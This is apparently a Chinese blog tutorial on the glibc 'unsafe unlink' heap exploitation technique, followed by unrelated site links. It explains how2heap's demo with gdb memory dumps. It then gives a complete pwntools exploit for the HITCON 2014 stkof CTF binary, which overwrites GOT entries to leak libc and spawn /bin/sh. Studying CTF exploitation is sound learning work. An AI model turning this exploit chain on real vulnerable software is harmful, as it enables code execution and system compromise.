PWN入门(unsafe unlink)
wiki 上的图示
通过 how2heap 上的代码例子来看一下
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
int malloc_size = 0x80; // not fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %pn", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %pnn", (void*) chunk0_ptr[3]);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[9];
strcpy(victim_string, "AAAAAAAA");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %sn", victim_string);
chunk0_ptr[0] = 0x4242424242424242LL;
fprintf(stderr, "New Value: %sn", victim_string);
}
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)
先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)
我们来看一下,申请了两个堆之后的情况
上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过
再单步走到第 20 行(不包括)
在源码中这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
上面那个图没对齐,用文本来解释一下
gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x0000000000602010
0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010
gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000
0x601070: 0x0000000000602010 0x0000000000000000
0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010
fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070
fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!
另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。
接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作
FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD
通过前面的赋值操作
P->fd = &P - 3 * size(int) P->bk = &P - 2 * size(int)
也就是说:
FD = &P - 3 * size(int)
BK = &P - 2 * size(int)
FD->bk 按照偏移寻址,就是 FD+3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P
这样执行下来,最终实现的效果是 P = &P - 3 * size(int)
也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址
2014 HITCON stkof
这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的
https://blog.csdn.net/weixin_42151611/article/details/97016767
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OKn')
def edit(index,size,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
#之所以用send是因为如果sendline的话会多读入一个'n'
#导致size和content的长度不匹配,导致错误
p.recvuntil('OKn')
def delete(index):
p.sendline('3')
p.sendline(str(index))
head = 0x602140
create(0x10)#第一块
create(0x30) #第二块
create(0x80) #第三块
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
gdb.attach(p)
pause()
delete(3)
p.recvuntil('OKn')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
delete(1)
leak = p.recvuntil('nOKn')[:6]
puts_addr = u64(leak.ljust(8,'x00'))
log.success('puts addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))
payload = p64(sys_addr)
edit(2,len(payload),payload)
payload = '/bin/shx00'
p.sendline(payload)
p.interactive()
运行程序,连个菜单都不给...
把名字改一下
create 功能,输入一个 size,然后申请 size 大小的堆块
会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 ++ 了)
edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出
wp 说没有 setbuf,会先申请 1024 的堆空间??
要先提前申请个 chunk 来防止他们干扰??
怎么就能防止干扰了??
其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧
黄色指的是提前申请的一个用来占空的
两个白色是缓冲区占用的,这样后面再申请就连起来了
这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)
payload 如下:
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0
这样,对第 3 个进行 free 的时候会发生 unlink,head + 16 与 head +16 -0x18
那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18,也就是 0x602138
那么
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
因为此时的第 2 块指向的是head-8,所以要先填 8 位,然后再去修改的时候才是 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got
修改完之后
这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了
payload = p64(puts_plt)
edit(0,len(payload),payload)
那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc,算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址
payload = p64(sys_addr)
edit(2,len(payload),payload)
因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果
- 数据场景分析 线上线下商家到底谁能干过谁?
- 张钦坤:云计算、开放平台与服务商版权责任
- biztalk 2010 dev版安装小记
- 微信小程序如何获取组件实际高度
- flex4/flash builder中动态加载Module并与之交互的正确方式
- Google发布会看图的人工智能,让它来评评你的照片拍得好不好
- Git日常操作命令梳理
- Git忽略规则.gitignore梳理
- 深入浅出事件流处理NEsper(二)
- 微信推出“微信使用小助手”,中老年人也能轻松玩转微信
- Flex4中使用WCF
- storm如何分配任务和负载均衡?
- Flex4中的ModuleLoader,Alert以及TitleWindow
- Flex4中使用HDividedBox,VDividedBox
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- CentOS7服务器环境下vsftpd安装及配置方法
- Linux date 时间设置同步命令分享
- Gerrit设置开机启动方法
- Ubuntu服务器下搭建php运行环境的方法
- 详解ubuntu14.04搭建(迁移)hustoj记录
- linux 触摸屏驱动编写
- centos yum更新及删除多余启动项
- React进阶(1)-理解Redux
- MySQL死锁系列-线上死锁问题排查思路
- # 3分钟短文:Laravel路由注册,你必须掌握的“动词”!
- 资深程序员带你解锁Android性能优化五大误区和两大疑点!(附333页性能优化PDF宝典)
- Android大三提前批的钉钉和抖音面筋,阿里挂了HR面,抖音通过收获Offer
- leetcode之键盘行
- 浅析centos 7 自带的 php 5.4升级为 5.6的方法
- Linux内核设备驱动地址映射笔记整理